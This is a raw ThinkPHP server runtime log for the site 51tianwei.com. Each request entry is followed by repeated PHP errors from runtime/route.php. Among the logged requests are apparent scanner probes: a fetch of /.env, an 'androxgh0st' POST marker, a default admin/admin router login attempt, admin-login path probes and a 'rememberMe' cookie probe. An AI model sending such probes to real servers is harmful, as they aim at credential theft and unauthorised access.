[8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:43:36+08:00 ] 220.132.55.249 GET 127.0.0.1/ [运行时间:0.001673s] [吞吐率:597.73req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:48:58+08:00 ] 167.172.135.213 GET / [运行时间:0.001453s] [吞吐率:688.27req/s] [内存消耗:159.49kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'https://researchcyber.net/', 'accept' => '*/*', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_HOST[/data/wwwroot/tianwei/think/runtime/route.php:34] --------------------------------------------------------------- [ 2024-10-22T01:49:48+08:00 ] 182.253.124.4 GET 59.110.137.245/.env [运行时间:0.003047s] [吞吐率:328.19req/s] [内存消耗:132.84kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'connection' => 'keep-alive', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:49:49+08:00 ] 182.253.124.4 POST 59.110.137.245/ [运行时间:0.001545s] [吞吐率:647.27req/s] [内存消耗:160.30kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'connection' => 'keep-alive', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'content-length' => '20', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( '0x' => array ( 0 => 'androxgh0st', ), ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T02:05:37+08:00 ] 222.141.233.0 GET /boaform/admin/formLogin?username=admin&psd=admin [运行时间:0.002340s] [吞吐率:427.34req/s] [内存消耗:132.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'boaform', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( ) [ info ] [ PARAM ] array ( 'username' => 'admin', 'psd' => 'admin', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] [ error ] [8]未定义数组索引: HTTP_HOST[/data/wwwroot/tianwei/think/runtime/route.php:34] --------------------------------------------------------------- [ 2024-10-22T02:21:24+08:00 ] 59.126.136.131 GET 127.0.0.1/ [运行时间:0.001510s] [吞吐率:662.19req/s] [内存消耗:159.85kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '127.0.0.1', 'user-agent' => 'Mozilla/5.0 (Linux; U; Android 4.0.3; ko-kr; LG-L160L Build/IML74K) AppleWebkit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T02:28:49+08:00 ] 103.212.98.210 GET 51tianwei.com/login.php?s=Admin/login [运行时间:0.002491s] [吞吐率:401.45req/s] [内存消耗:136.21kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Admin', 2 => 'login', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T02:32:02+08:00 ] 179.43.191.98 GET 59.110.137.245:80/ [运行时间:0.001797s] [吞吐率:556.50req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-22T03:04:56+08:00 ] 182.237.2.66 GET 59.110.137.245/ [运行时间:0.021799s] [吞吐率:45.87req/s] [内存消耗:159.80kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'cookie' => 'rememberMe=1', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-22T03:05:01+08:00 ] 182.237.2.66 GET 59.110.137.245/favicon.ico [运行时间:0.006001s] [吞吐率:166.64req/s] [内存消耗:132.22kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Go-http-client/1.1', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T03:05:03+08:00 ] 182.237.2.66 GET 59.110.137.245/sitemap.xml [运行时间:0.001036s] [吞吐率:965.32req/s] [内存消耗:140.28kb] [文件加载:26] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T03:09:41+08:00 ] 103.194.185.114 GET 51tianwei.com/effect/js/transform.js [运行时间:0.003675s] [吞吐率:272.11req/s] [内存消耗:133.02kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'effect', 2 => 'js', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T03:11:18+08:00 ] 205.210.31.5 GET / [运行时间:0.001477s] [吞吐率:677.05req/s] [内存消耗:160.50kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', 'accept' => '*/*', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_HOST[/data/wwwroot/tianwei/think/runtime/route.php:34] --------------------------------------------------------------- [ 2024-10-22T03:35:22+08:00 ] 113.215.189.17 GET 51tianwei.com/ [运行时间:0.030965s] [吞吐率:32.29req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.7775.27 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T03:35:23+08:00 ] 113.215.189.17 GET 51tianwei.com/ [运行时间:0.001514s] [吞吐率:660.52req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.8414.111 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T03:35:23+08:00 ] 113.215.189.17 GET 51tianwei.com/favicon.ico [运行时间:0.005033s] [吞吐率:198.69req/s] [内存消耗:132.86kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.8414.111 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T03:39:33+08:00 ] 113.215.189.13 GET www.51tianwei.com/ [运行时间:0.001466s] [吞吐率:682.11req/s] [内存消耗:159.93kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.8504.131 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => 'www.51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T03:39:33+08:00 ] 113.215.189.13 GET www.51tianwei.com/ [运行时间:0.001540s] [吞吐率:649.37req/s] [内存消耗:159.93kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.9191.67 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => 'www.51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T03:39:33+08:00 ] 113.215.189.13 GET www.51tianwei.com/favicon.ico [运行时间:0.002400s] [吞吐率:416.68req/s] [内存消耗:132.87kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.9191.67 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => 'www.51tianwei.com', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T03:42:49+08:00 ] 103.212.98.210 GET www.51tianwei.com/login.php?s=Admin/login [运行时间:0.002381s] [吞吐率:420.02req/s] [内存消耗:136.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Admin', 2 => 'login', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:12:38+08:00 ] 185.242.226.99 GET 59.110.137.245/ [运行时间:0.035382s] [吞吐率:28.26req/s] [内存消耗:159.89kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 